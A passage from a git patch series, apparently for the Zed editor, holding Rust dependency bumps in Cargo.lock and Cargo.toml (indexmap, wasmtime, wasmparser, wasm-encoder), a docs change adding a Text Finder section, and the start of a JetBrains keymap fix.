@@ -7282,7 +7282,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "e629b9b98ef3dd8afe6ca2bd0f89306cec16d43d907889945bc5d6687f2f13c7"
 dependencies = [
  "fallible-iterator",
- "indexmap 2.11.4",
+ "indexmap 2.14.0",
  "stable_deref_trait",
 ]
 
@@ -8116,7 +8116,7 @@ dependencies = [
  "futures-sink",
  "futures-util",
  "http 0.2.12",
- "indexmap 2.11.4",
+ "indexmap 2.14.0",
  "slab",
  "tokio",
  "tokio-util",
@@ -8135,7 +8135,7 @@ dependencies = [
  "futures-core",
  "futures-sink",
  "http 1.3.1",
- "indexmap 2.11.4",
+ "indexmap 2.14.0",
  "slab",
  "tokio",
  "tokio-util",
@@ -8247,6 +8247,17 @@ dependencies = [
  "foldhash 0.2.0",
 ]
 
+[[package]]
+name = "hashbrown"
+version = "0.17.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ed5909b6e89a2db4456e54cd5f673791d7eca6732202bbf2a9cc504fe2f9b84a"
+dependencies = [
+ "foldhash 0.2.0",
+ "serde",
+ "serde_core",
+]
+
 [[package]]
 name = "hashlink"
 version = "0.8.4"
@@ -8999,12 +9010,12 @@ dependencies = [
 
 [[package]]
 name = "indexmap"
-version = "2.11.4"
+version = "2.14.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4b0f83760fb341a774ed326568e19f5a863af4a952def8c39f9ab92fd95b88e5"
+checksum = "d466e9454f08e4a911e14806c24e16fba1b4c121d1ea474396f396069cf949d9"
 dependencies = [
  "equivalent",
- "hashbrown 0.16.1",
+ "hashbrown 0.17.1",
  "serde",
  "serde_core",
 ]
@@ -10640,7 +10651,7 @@ name = "manatee"
 version = "0.6.2"
 source = "git+https://github.com/zed-industries/merman?tag=v0.6.2-with-patches#9acc3960f04a7deeb08079d60fa8183f15e8bde1"
 dependencies = [
- "indexmap 2.11.4",
+ "indexmap 2.14.0",
  "nalgebra",
  "rustc-hash 2.1.1",
  "thiserror 2.0.17",
@@ -10953,7 +10964,7 @@ dependencies = [
  "chrono",
  "euclid",
  "htmlize",
- "indexmap 2.11.4",
+ "indexmap 2.14.0",
  "json5",
  "lalrpop",
  "lalrpop-util",
@@ -10979,7 +10990,7 @@ dependencies = [
  "base64 0.22.1",
  "chrono",
  "dugong",
- "indexmap 2.11.4",
+ "indexmap 2.14.0",
  "manatee",
  "merman-core",
  "pulldown-cmark 0.12.2",
@@ -11284,7 +11295,7 @@ dependencies = [
  "half",
  "hashbrown 0.16.1",
  "hexf-parse",
- "indexmap 2.11.4",
+ "indexmap 2.14.0",
  "libm",
  "log",
  "num-traits",
@@ -12127,7 +12138,7 @@ checksum = "ff76201f031d8863c38aa7f905eca4f53abbfa15f609db4277d44cd8938f33fe"
 dependencies = [
  "crc32fast",
  "hashbrown 0.15.5",
- "indexmap 2.11.4",
+ "indexmap 2.14.0",
  "memchr",
 ]
 
@@ -13293,7 +13304,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "b4c5cc86750666a3ed20bdaf5ca2a0344f9c67674cae0515bec2da16fbaa47db"
 dependencies = [
  "fixedbitset 0.4.2",
- "indexmap 2.11.4",
+ "indexmap 2.14.0",
 ]
 
 [[package]]
@@ -13607,7 +13618,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "740ebea15c5d1428f910cd1a5f52cebf8d25006245ed8ade92702f4943d91e07"
 dependencies = [
  "base64 0.22.1",
- "indexmap 2.11.4",
+ "indexmap 2.14.0",
  "quick-xml 0.38.3",
  "serde",
  "time",
@@ -13999,7 +14010,7 @@ dependencies = [
  "gpui",
  "http_client",
  "image",
- "indexmap 2.11.4",
+ "indexmap 2.14.0",
  "itertools 0.14.0",
  "language",
  "log",
@@ -14451,9 +14462,9 @@ checksum = "007d8adb5ddab6f8e3f491ac63566a7d5002cc7ed73901f72057943fa71ae1ae"
 
 [[package]]
 name = "pulley-interpreter"
-version = "36.0.9"
+version = "36.0.12"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8b78fdec962b639b921badfcfe77db7d18aa3c0c1e292ac2aa268c0efe8fe683"
+checksum = "558181096e0df4984f45cfc3a7087052df4a61c36089b135a08ceca9cbd352fb"
 dependencies = [
  "cranelift-bitset",
  "log",
@@ -14463,9 +14474,9 @@ dependencies = [
 
 [[package]]
 name = "pulley-macros"
-version = "36.0.9"
+version = "36.0.12"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f718f4e8cd5fdfa08b3b1d2d25fe288350051be330544305f0a9b93a937b3d42"
+checksum = "b5d52e2f14e168d75cdabe9bd5fb1ff18a1b119dc6699684aee895dbc3524da9"
 dependencies = [
  "proc-macro2",
  "quote",
@@ -16053,7 +16064,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "82d20c4491bc164fa2f6c5d44565947a52ad80b9505d8e36f8d54c27c739fcd0"
 dependencies = [
  "dyn-clone",
- "indexmap 2.11.4",
+ "indexmap 2.14.0",
  "ref-cast",
  "schemars_derive",
  "serde",
@@ -16443,7 +16454,7 @@ version = "1.0.145"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "402a6f66d8c709116cf22f558eab210f5a50187f702eb4d7e5ef38d9a7f1c79c"
 dependencies = [
- "indexmap 2.11.4",
+ "indexmap 2.14.0",
  "itoa",
  "memchr",
  "ryu",
@@ -16457,7 +16468,7 @@ version = "0.2.4"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "0e033097bf0d2b59a62b42c18ebbb797503839b26afdda2c4e1415cb6c813540"
 dependencies = [
- "indexmap 2.11.4",
+ "indexmap 2.14.0",
  "itoa",
  "memchr",
  "ryu",
@@ -16527,7 +16538,7 @@ dependencies = [
  "chrono",
  "hex",
  "indexmap 1.9.3",
- "indexmap 2.11.4",
+ "indexmap 2.14.0",
  "schemars 0.9.0",
  "schemars 1.0.4",
  "serde_core",
@@ -16554,7 +16565,7 @@ version = "0.9.34+deprecated"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "6a8b1a1a2ebf674015cc02edccce75287f1a0130d394307b36743c2f5d504b47"
 dependencies = [
- "indexmap 2.11.4",
+ "indexmap 2.14.0",
  "itoa",
  "ryu",
  "serde",
@@ -16567,7 +16578,7 @@ version = "0.10.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "7b4db627b98b36d4203a7b458cf3573730f2bb591b28871d916dfa9efabfd41f"
 dependencies = [
- "indexmap 2.11.4",
+ "indexmap 2.14.0",
  "itoa",
  "ryu",
  "serde",
@@ -17328,7 +17339,7 @@ dependencies = [
  "futures-util",
  "hashbrown 0.15.5",
  "hashlink 0.10.0",
- "indexmap 2.11.4",
+ "indexmap 2.14.0",
  "log",
  "memchr",
  "once_cell",
@@ -18496,7 +18507,7 @@ dependencies = [
  "clap",
  "collections",
  "gpui",
- "indexmap 2.11.4",
+ "indexmap 2.14.0",
  "log",
  "palette",
  "serde",
@@ -18957,7 +18968,7 @@ version = "0.9.8"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "f0dc8b1fb61449e27716ec0e1bdf0f6b8f3e8f6b05391e8497b8b6d7804ea6d8"
 dependencies = [
- "indexmap 2.11.4",
+ "indexmap 2.14.0",
  "serde_core",
  "serde_spanned 1.0.3",
  "toml_datetime 0.7.3",
@@ -18990,7 +19001,7 @@ version = "0.22.27"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "41fe8c660ae4257887cf66394862d21dbca4a6ddd26f04a3560410406a2f819a"
 dependencies = [
- "indexmap 2.11.4",
+ "indexmap 2.14.0",
  "serde",
  "serde_spanned 0.6.9",
  "toml_datetime 0.6.11",
@@ -19004,7 +19015,7 @@ version = "0.23.7"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "6485ef6d0d9b5d0ec17244ff7eb05310113c3f316f2d14200d4de56b3cb98f8d"
 dependencies = [
- "indexmap 2.11.4",
+ "indexmap 2.14.0",
  "toml_datetime 0.7.3",
  "toml_parser",
  "winnow 0.7.13",
@@ -20301,16 +20312,6 @@ dependencies = [
  "leb128",
 ]
 
-[[package]]
-name = "wasm-encoder"
-version = "0.221.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "dc8444fe4920de80a4fe5ab564fff2ae58b6b73166b89751f8c6c93509da32e5"
-dependencies = [
- "leb128",
- "wasmparser 0.221.3",
-]
-
 [[package]]
 name = "wasm-encoder"
 version = "0.227.1"
@@ -20341,6 +20342,16 @@ dependencies = [
  "wasmparser 0.244.0",
 ]
 
+[[package]]
+name = "wasm-encoder"
+version = "0.252.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "8185ae345fa5687c054626ff9a50e7089797a343d9904d1dc9820eb4c4d3196f"
+dependencies = [
+ "leb128fmt",
+ "wasmparser 0.252.0",
+]
+
 [[package]]
 name = "wasm-metadata"
 version = "0.201.0"
@@ -20348,7 +20359,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "0fd83062c17b9f4985d438603cde0a5e8c5c8198201a6937f778b607924c7da2"
 dependencies = [
  "anyhow",
- "indexmap 2.11.4",
+ "indexmap 2.14.0",
  "serde",
  "serde_derive",
  "serde_json",
@@ -20366,7 +20377,7 @@ dependencies = [
  "anyhow",
  "auditable-serde",
  "flate2",
- "indexmap 2.11.4",
+ "indexmap 2.14.0",
  "serde",
  "serde_derive",
  "serde_json",
@@ -20383,7 +20394,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "bb0e353e6a2fbdc176932bbaab493762eb1255a7900fe0fea1a2f96c296cc909"
 dependencies = [
  "anyhow",
- "indexmap 2.11.4",
+ "indexmap 2.14.0",
  "wasm-encoder 0.244.0",
  "wasmparser 0.244.0",
 ]
@@ -20420,58 +20431,58 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "84e5df6dba6c0d7fafc63a450f1738451ed7a0b52295d83e868218fa286bf708"
 dependencies = [
  "bitflags 2.10.0",
- "indexmap 2.11.4",
+ "indexmap 2.14.0",
  "semver",
 ]
 
 [[package]]
 name = "wasmparser"
-version = "0.221.3"
+version = "0.227.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d06bfa36ab3ac2be0dee563380147a5b81ba10dd8885d7fbbc9eb574be67d185"
+checksum = "0f51cad774fb3c9461ab9bccc9c62dfb7388397b5deda31bf40e8108ccd678b2"
 dependencies = [
  "bitflags 2.10.0",
  "hashbrown 0.15.5",
- "indexmap 2.11.4",
+ "indexmap 2.14.0",
  "semver",
- "serde",
 ]
 
 [[package]]
 name = "wasmparser"
-version = "0.227.1"
+version = "0.236.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0f51cad774fb3c9461ab9bccc9c62dfb7388397b5deda31bf40e8108ccd678b2"
+checksum = "a9b1e81f3eb254cf7404a82cee6926a4a3ccc5aad80cc3d43608a070c67aa1d7"
 dependencies = [
  "bitflags 2.10.0",
  "hashbrown 0.15.5",
- "indexmap 2.11.4",
+ "indexmap 2.14.0",
  "semver",
+ "serde",
 ]
 
 [[package]]
 name = "wasmparser"
-version = "0.236.1"
+version = "0.244.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a9b1e81f3eb254cf7404a82cee6926a4a3ccc5aad80cc3d43608a070c67aa1d7"
+checksum = "47b807c72e1bac69382b3a6fb3dbe8ea4c0ed87ff5629b8685ae6b9a611028fe"
 dependencies = [
  "bitflags 2.10.0",
  "hashbrown 0.15.5",
- "indexmap 2.11.4",
+ "indexmap 2.14.0",
  "semver",
- "serde",
 ]
 
 [[package]]
 name = "wasmparser"
-version = "0.244.0"
+version = "0.252.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "47b807c72e1bac69382b3a6fb3dbe8ea4c0ed87ff5629b8685ae6b9a611028fe"
+checksum = "d3eb099dcadcde5be9eef55e3a337128efd4e44b4c93122487e4d2e4e1c6627c"
 dependencies = [
  "bitflags 2.10.0",
- "hashbrown 0.15.5",
- "indexmap 2.11.4",
+ "hashbrown 0.17.1",
+ "indexmap 2.14.0",
  "semver",
+ "serde",
 ]
 
 [[package]]
@@ -20487,9 +20498,9 @@ dependencies = [
 
 [[package]]
 name = "wasmtime"
-version = "36.0.9"
+version = "36.0.12"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b10306ead921db2c4645ff99867b7539b65e18afd8816d471547f5e6f3b09492"
+checksum = "4b4442dc12aa2473def8334f0e0f2b489be52c52507c938bbdc8be69ded4ded6"
 dependencies = [
  "addr2line",
  "anyhow",
@@ -20500,7 +20511,7 @@ dependencies = [
  "cfg-if",
  "encoding_rs",
  "hashbrown 0.15.5",
- "indexmap 2.11.4",
+ "indexmap 2.14.0",
  "libc",
  "log",
  "mach2 0.4.3",
@@ -20548,16 +20559,16 @@ dependencies = [
 
 [[package]]
 name = "wasmtime-environ"
-version = "36.0.9"
+version = "36.0.12"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e7fb2c37ca263d444f33871bf0221e7de0707b2b2bb88165df6db6d58c73375f"
+checksum = "5d881c3d6205898a226cc487b117f23b9ed1c7da39952d65bd5eeb6745b3789c"
 dependencies = [
  "anyhow",
  "cpp_demangle",
  "cranelift-bitset",
  "cranelift-entity",
  "gimli",
- "indexmap 2.11.4",
+ "indexmap 2.14.0",
  "log",
  "object",
  "postcard",
@@ -20575,9 +20586,9 @@ dependencies = [
 
 [[package]]
 name = "wasmtime-internal-asm-macros"
-version = "36.0.9"
+version = "36.0.12"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "19c6c0d3c8d2db554a3af8e8d413ff2815362ebce0911808ecfdaaa257438f93"
+checksum = "5ab1876bcfa51d6a05dea1c13933f53cbc1e316c783fddebc859f56a736eae07"
 dependencies = [
  "cfg-if",
 ]
@@ -20594,9 +20605,9 @@ dependencies = [
 
 [[package]]
 name = "wasmtime-internal-component-macro"
-version = "36.0.9"
+version = "36.0.12"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c3e3f3752466eb0e1f97149e53bf15c0e18ff520fc0a98b4bee1680e6de1c6f0"
+checksum = "8ae1407944a0b13a8a77930b5b951aa7134beccecad7efac1ef9f03adb7d1a0f"
 dependencies = [
  "anyhow",
  "proc-macro2",
@@ -20609,15 +20620,15 @@ dependencies = [
 
 [[package]]
 name = "wasmtime-internal-component-util"
-version = "36.0.9"
+version = "36.0.12"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7f54018baf62f4e9c616c31f2aeadcf0c202ff691a390ad53e291ae7160b169e"
+checksum = "646a53678ce6aaf6f097e18ca51f650f2841aea6d2bcd7b61931397b8b8f30db"
 
 [[package]]
 name = "wasmtime-internal-cranelift"
-version = "36.0.9"
+version = "36.0.12"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5a2412f2afb0a5db2a4ac1cfff73247e240aeaa90bf41497ad0a5084b6a24eca"
+checksum = "ab3495aa8300e4ca6b53f81a53ce5eff6621fd5ff8378ef9ae552d1479d57371"
 dependencies = [
  "anyhow",
  "cfg-if",
@@ -20642,9 +20653,9 @@ dependencies = [
 
 [[package]]
 name = "wasmtime-internal-fiber"
-version = "36.0.9"
+version = "36.0.12"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ecfdc460dd5d343d88ff1ffaf65ae019feeb6124ddcfd3f39d28331068d25b1f"
+checksum = "29b5e4023a6b167da157338f5f0f505945eb45e78f1cac2d4dcce0922457d7d4"
 dependencies = [
  "anyhow",
  "cc",
@@ -20658,9 +20669,9 @@ dependencies = [
 
 [[package]]
 name = "wasmtime-internal-jit-debug"
-version = "36.0.9"
+version = "36.0.12"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b5abb428a71827b7f90fc64406749883ccc6e58addf6d36974d5e06942011707"
+checksum = "9da71e2d573e3cc6f753a3b7bff98f425ca060c0e8071cc55c3d867a9edf3ecc"
 dependencies = [
  "cc",
  "wasmtime-internal-versioned-export-macros",
@@ -20668,9 +20679,9 @@ dependencies = [
 
 [[package]]
 name = "wasmtime-internal-jit-icache-coherence"
-version = "36.0.9"
+version = "36.0.12"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ba6cc13f14c3fb83fb877cb1d5c605e93f7ec1bf7fc1a5e8b361209d2f8ca028"
+checksum = "627d8f57909a4f9bb1dbe57a96229a54b89d5995353d0b321f3cb9a1a118977a"
 dependencies = [
  "anyhow",
  "cfg-if",
@@ -20680,24 +20691,24 @@ dependencies = [
 
 [[package]]
 name = "wasmtime-internal-math"
-version = "36.0.9"
+version = "36.0.12"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1cb209473a09f4dbd9c87bb9f18b8dcb0c9da30d12a260e3eacf7a1a53b41480"
+checksum = "45b99315585a8a27125dd9b0150edb115d6f6ff0baae453c21d30822aab77f00"
 dependencies = [
  "libm",
 ]
 
 [[package]]
 name = "wasmtime-internal-slab"
-version = "36.0.9"
+version = "36.0.12"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "aab4df5a04752106e1ecef9d40145ef28fa033b0d5dd3c839c9b208b2d522183"
+checksum = "8eaee97281dd3fe47ec3d46c16fb9fe2dd32f37d0523c2d5c484f11b348734e4"
 
 [[package]]
 name = "wasmtime-internal-unwinder"
-version = "36.0.9"
+version = "36.0.12"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5359875d29bddb6f7e65e698157714d8d35ebd8ea2a92893d05d6b062147b639"
+checksum = "d0c005f82c48492b6b44fa19ee5205bd933c4f8baca41e314eca8331dd3c4fd9"
 dependencies = [
  "anyhow",
  "cfg-if",
@@ -20708,9 +20719,9 @@ dependencies = [
 
 [[package]]
 name = "wasmtime-internal-versioned-export-macros"
-version = "36.0.9"
+version = "36.0.12"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2e247bcdd69701743ba386c933b26ebad2ce912ff9cb68b5b71fdb29d39ba04a"
+checksum = "7b73639a9c0c0e33a2ef942ca99b6772b48393be92bebbd0767c607e5b0a68e0"
 dependencies = [
  "proc-macro2",
  "quote",
@@ -20719,9 +20730,9 @@ dependencies = [
 
 [[package]]
 name = "wasmtime-internal-winch"
-version = "36.0.9"
+version = "36.0.12"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d0298dfd9f57588222b5a92dcffe75894f1ead4e519850f176bde7fcfd105d54"
+checksum = "392ca021d084c7426616ef77e1284315555f11bcbb34f416d74b0732db622811"
 dependencies = [
  "anyhow",
  "cranelift-codegen",
@@ -20736,22 +20747,22 @@ dependencies = [
 
 [[package]]
 name = "wasmtime-internal-wit-bindgen"
-version = "36.0.9"
+version = "36.0.12"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1706803e83b9bae726a0f55e7c1bbf78a7421cf2da68c940c70978e91dfc0339"
+checksum = "7fd4703351476262d715b72431e80d10289908e3494050071d6521267f522d97"
 dependencies = [
  "anyhow",
  "bitflags 2.10.0",
  "heck 0.5.0",
- "indexmap 2.11.4",
+ "indexmap 2.14.0",
  "wit-parser 0.236.1",
 ]
 
 [[package]]
 name = "wasmtime-wasi"
-version = "36.0.9"
+version = "36.0.12"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1a430602ec54d0e32fbb61d2d8c7e5885eaa9dbc1664b6ed57fb57df439810a0"
+checksum = "21921b6e8e8ed876a288cb3b0b3aee68809fed8182ce26c9977ffc4af4cb77f6"
 dependencies = [
  "anyhow",
  "async-trait",
@@ -20780,9 +20791,9 @@ dependencies = [
 
 [[package]]
 name = "wasmtime-wasi-io"
-version = "36.0.9"
+version = "36.0.12"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8b2ba5dd68962de394cf15c7fb185f138cdd685ced631a7ed8e056de3e071029"
+checksum = "2cceb2d110d8de61e7b0e8c501b838d3c6403a14cdca8cb612ff1228db537c6d"
 dependencies = [
  "anyhow",
  "async-trait",
@@ -21082,7 +21093,7 @@ dependencies = [
  "cfg_aliases 0.2.1",
  "document-features",
  "hashbrown 0.16.1",
- "indexmap 2.11.4",
+ "indexmap 2.14.0",
  "log",
  "naga",
  "once_cell",
@@ -21266,9 +21277,9 @@ dependencies = [
 
 [[package]]
 name = "wiggle"
-version = "36.0.9"
+version = "36.0.12"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1979d3ed3ffc017538e518da6faa66b129f9229492981fc51004f28cb86db792"
+checksum = "55a0751406b641ff50ef42d4a1ca843a03040c488c0c27f92093633447464013"
 dependencies = [
  "anyhow",
  "async-trait",
@@ -21281,9 +21292,9 @@ dependencies = [
 
 [[package]]
 name = "wiggle-generate"
-version = "36.0.9"
+version = "36.0.12"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "25d92ae7a084d8543aa7ccef0fac52c86481a7278d0533f7fdeaf89bd7b7e29f"
+checksum = "ab62083fdcecdd0cac61b8c46e7de4f2629ebe8699fd9ce790d922cc89d50f5f"
 dependencies = [
  "anyhow",
  "heck 0.5.0",
@@ -21295,9 +21306,9 @@ dependencies = [
 
 [[package]]
 name = "wiggle-macro"
-version = "36.0.9"
+version = "36.0.12"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "36a1b1b93fd9ce569bb40c1eadf5c56533cebfc04ba545c8bc1e74464cff0735"
+checksum = "756b7a4a7f57ee2f53e9ef3501ed0faacda4b8dcb169a921cddc8bc09ebd199e"
 dependencies = [
  "proc-macro2",
  "quote",
@@ -21338,9 +21349,9 @@ checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
 
 [[package]]
 name = "winch-codegen"
-version = "36.0.9"
+version = "36.0.12"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2e2d7ea2137be52644d9c42ca5a4899bba07c2ed2db1e66c4c1994adfe35d39e"
+checksum = "61ec880b20caaa72245944b54cfb22aca111f8c805e12a7542b40d66921e5323"
 dependencies = [
  "anyhow",
  "cranelift-assembler-x64",
@@ -22262,7 +22273,7 @@ checksum = "d8a39a15d1ae2077688213611209849cad40e9e5cccf6e61951a425850677ff3"
 dependencies = [
  "anyhow",
  "heck 0.4.1",
- "indexmap 2.11.4",
+ "indexmap 2.14.0",
  "wasm-metadata 0.201.0",
  "wit-bindgen-core 0.22.0",
  "wit-component 0.201.0",
@@ -22276,7 +22287,7 @@ checksum = "9d0809dc5ba19e2e98661bf32fc0addc5a3ca5bf3a6a7083aa6ba484085ff3ce"
 dependencies = [
  "anyhow",
  "heck 0.5.0",
- "indexmap 2.11.4",
+ "indexmap 2.14.0",
  "prettyplease",
  "syn 2.0.117",
  "wasm-metadata 0.227.1",
@@ -22292,7 +22303,7 @@ checksum = "b7c566e0f4b284dd6561c786d9cb0142da491f46a9fbed79ea69cdad5db17f21"
 dependencies = [
  "anyhow",
  "heck 0.5.0",
- "indexmap 2.11.4",
+ "indexmap 2.14.0",
  "prettyplease",
  "syn 2.0.117",
  "wasm-metadata 0.244.0",
@@ -22352,7 +22363,7 @@ checksum = "421c0c848a0660a8c22e2fd217929a0191f14476b68962afd2af89fd22e39825"
 dependencies = [
  "anyhow",
  "bitflags 2.10.0",
- "indexmap 2.11.4",
+ "indexmap 2.14.0",
  "log",
  "serde",
  "serde_derive",
@@ -22371,7 +22382,7 @@ checksum = "635c3adc595422cbf2341a17fb73a319669cc8d33deed3a48368a841df86b676"
 dependencies = [
  "anyhow",
  "bitflags 2.10.0",
- "indexmap 2.11.4",
+ "indexmap 2.14.0",
  "log",
  "serde",
  "serde_derive",
@@ -22390,7 +22401,7 @@ checksum = "9d66ea20e9553b30172b5e831994e35fbde2d165325bec84fc43dbf6f4eb9cb2"
 dependencies = [
  "anyhow",
  "bitflags 2.10.0",
- "indexmap 2.11.4",
+ "indexmap 2.14.0",
  "log",
  "serde",
  "serde_derive",
@@ -22409,7 +22420,7 @@ checksum = "196d3ecfc4b759a8573bf86a9b3f8996b304b3732e4c7de81655f875f6efdca6"
 dependencies = [
  "anyhow",
  "id-arena",
- "indexmap 2.11.4",
+ "indexmap 2.14.0",
  "log",
  "semver",
  "serde",
@@ -22427,7 +22438,7 @@ checksum = "ddf445ed5157046e4baf56f9138c124a0824d4d1657e7204d71886ad8ce2fc11"
 dependencies = [
  "anyhow",
  "id-arena",
- "indexmap 2.11.4",
+ "indexmap 2.14.0",
  "log",
  "semver",
  "serde",
@@ -22445,7 +22456,7 @@ checksum = "16e4833a20cd6e85d6abfea0e63a399472d6f88c6262957c17f546879a80ba15"
 dependencies = [
  "anyhow",
  "id-arena",
- "indexmap 2.11.4",
+ "indexmap 2.14.0",
  "log",
  "semver",
  "serde",
@@ -22463,7 +22474,7 @@ checksum = "ecc8ac4bc1dc3381b7f59c34f00b67e18f910c2c0f50015669dde7def656a736"
 dependencies = [
  "anyhow",
  "id-arena",
- "indexmap 2.11.4",
+ "indexmap 2.14.0",
  "log",
  "semver",
  "serde",
@@ -22768,7 +22779,7 @@ dependencies = [
  "clap",
  "compliance",
  "gh-workflow",
- "indexmap 2.11.4",
+ "indexmap 2.14.0",
  "indoc",
  "itertools 0.14.0",
  "regex",
diff --git a/Cargo.toml b/Cargo.toml
index 9f660975525e31..5e7703aaaeee3f 100644
--- a/Cargo.toml
+++ b/Cargo.toml
@@ -828,8 +828,8 @@ usvg = { version = "0.46.0", default-features = false }
 uuid = { version = "1.1.2", features = ["v4", "v5", "v7", "serde"] }
 vte = { version = "0.15.0", features = ["ansi"] }
 walkdir = "2.5"
-wasm-encoder = "0.221"
-wasmparser = "0.221"
+wasm-encoder = "0.252"
+wasmparser = "0.252"
 wasmtime = { version = "36", default-features = false, features = [
     "async",
     "demangle",

From 5a823cf70ebb1d7a158c6a7ca455860cd9f6aed0 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Yara=20=F0=9F=8F=B3=EF=B8=8F=E2=80=8D=E2=9A=A7=EF=B8=8F?=
 <git@yara.blue>
Date: Fri, 3 Jul 2026 20:46:05 +0200
Subject: [PATCH 254/772] docs: Add new text finder (#60189)

Mention the text finder in the docs.

Release Notes:

- N/A

---------

Co-authored-by: zed-zippy[bot] <234243425+zed-zippy[bot]@users.noreply.github.com>
---
 docs/src/finding-navigating.md | 29 +++++++++++++++++------------
 1 file changed, 17 insertions(+), 12 deletions(-)

diff --git a/docs/src/finding-navigating.md b/docs/src/finding-navigating.md
index 23401ed93d0c64..a801da6131793a 100644
--- a/docs/src/finding-navigating.md
+++ b/docs/src/finding-navigating.md
@@ -23,6 +23,10 @@ The Project Panel ({#kb project_panel::ToggleFocus}) shows a tree view of your w
 
 Open any file in your project with {#kb file_finder::Toggle}. Type part of the filename or path to narrow results.
 
+## Text Finder
+
+Quickly find any string in your project and open the file with {#kb project_search::OpenTextFinder}. Changed your mind and want a more detailed search with extra filters? Move to the project search using the button in the Actions menu in the right bottom corner.
+
 ## Project Search
 
 Search across all files with {#kb pane::DeploySearch}. Type the query in the search field, then press Enter to run the search.
@@ -52,15 +56,16 @@ Quickly switch between open tabs with {#kb tab_switcher::Toggle}. Tabs are sorte
 
 ## Quick Reference
 
-| Task              | Keybinding                       |
-| ----------------- | -------------------------------- |
-| Command Palette   | {#kb command_palette::Toggle}    |
-| Open file         | {#kb file_finder::Toggle}        |
-| Project search    | {#kb pane::DeploySearch}         |
-| Go to definition  | {#kb editor::GoToDefinition}     |
-| Find references   | {#kb editor::FindAllReferences}  |
-| Symbol in file    | {#kb outline::Toggle}            |
-| Symbol in project | {#kb project_symbols::Toggle}    |
-| Outline Panel     | {#kb outline_panel::ToggleFocus} |
-| Tab Switcher      | {#kb tab_switcher::Toggle}       |
-| Project Panel     | {#kb project_panel::ToggleFocus} |
+| Task               | Keybinding                           |
+| ------------------ | ------------------------------------ |
+| Command Palette    | {#kb command_palette::Toggle}        |
+| Open file          | {#kb file_finder::Toggle}            |
+| Project search     | {#kb pane::DeploySearch}             |
+| Text search picker | {#kb project_search::OpenTextFinder} |
+| Go to definition   | {#kb editor::GoToDefinition}         |
+| Find references    | {#kb editor::FindAllReferences}      |
+| Symbol in file     | {#kb outline::Toggle}                |
+| Symbol in project  | {#kb project_symbols::Toggle}        |
+| Outline Panel      | {#kb outline_panel::ToggleFocus}     |
+| Tab Switcher       | {#kb tab_switcher::Toggle}           |
+| Project Panel      | {#kb project_panel::ToggleFocus}     |

From ea3d0f7abeb3dc5d0954d6d3fff453af5b0c7af9 Mon Sep 17 00:00:00 2001
From: Tautik Agrahari <tautikagrahari@gmail.com>
Date: Sat, 4 Jul 2026 00:24:42 +0530
Subject: [PATCH 255/772] keymap: Avoid format-vs-rules collision in JetBrains
 overlay (#55364)

the jetbrains overlay binds `ctrl-alt-l` (linux) / `cmd-alt-l` (macos)
to `editor::Format` (jetbrains "reformat code"), which collides with the
default `agent::OpenRulesLibrary` binding. the agent panel shows the
conflicting key as the rules tooltip but pressing it formats the buffer
instead of opening rules. mirrors the windows keymap by switching the
linux/macos overlays to `shift-alt-l` in the AgentPanel context (with
the colliding key explicitly null-ed), so the hint and the action stay
in sync.

closes #49764.

Release Notes:

- Fixed the JetBrains keymap so the agent panel "Rules" entry uses
`shift-alt-l` and no longer flickers a non-functional `ctrl-alt-l` /
`cmd-alt-l` shortcut.
---
 assets/keymaps/linux/jetbrains.json | 11 +++++++++++
 assets/keymaps/macos/jetbrains.json | 11 +++++++++++
 2 files changed, 22 insertions(+)

diff --git a/assets/keymaps/linux/jetbrains.json b/assets/keymaps/linux/jetbrains.json
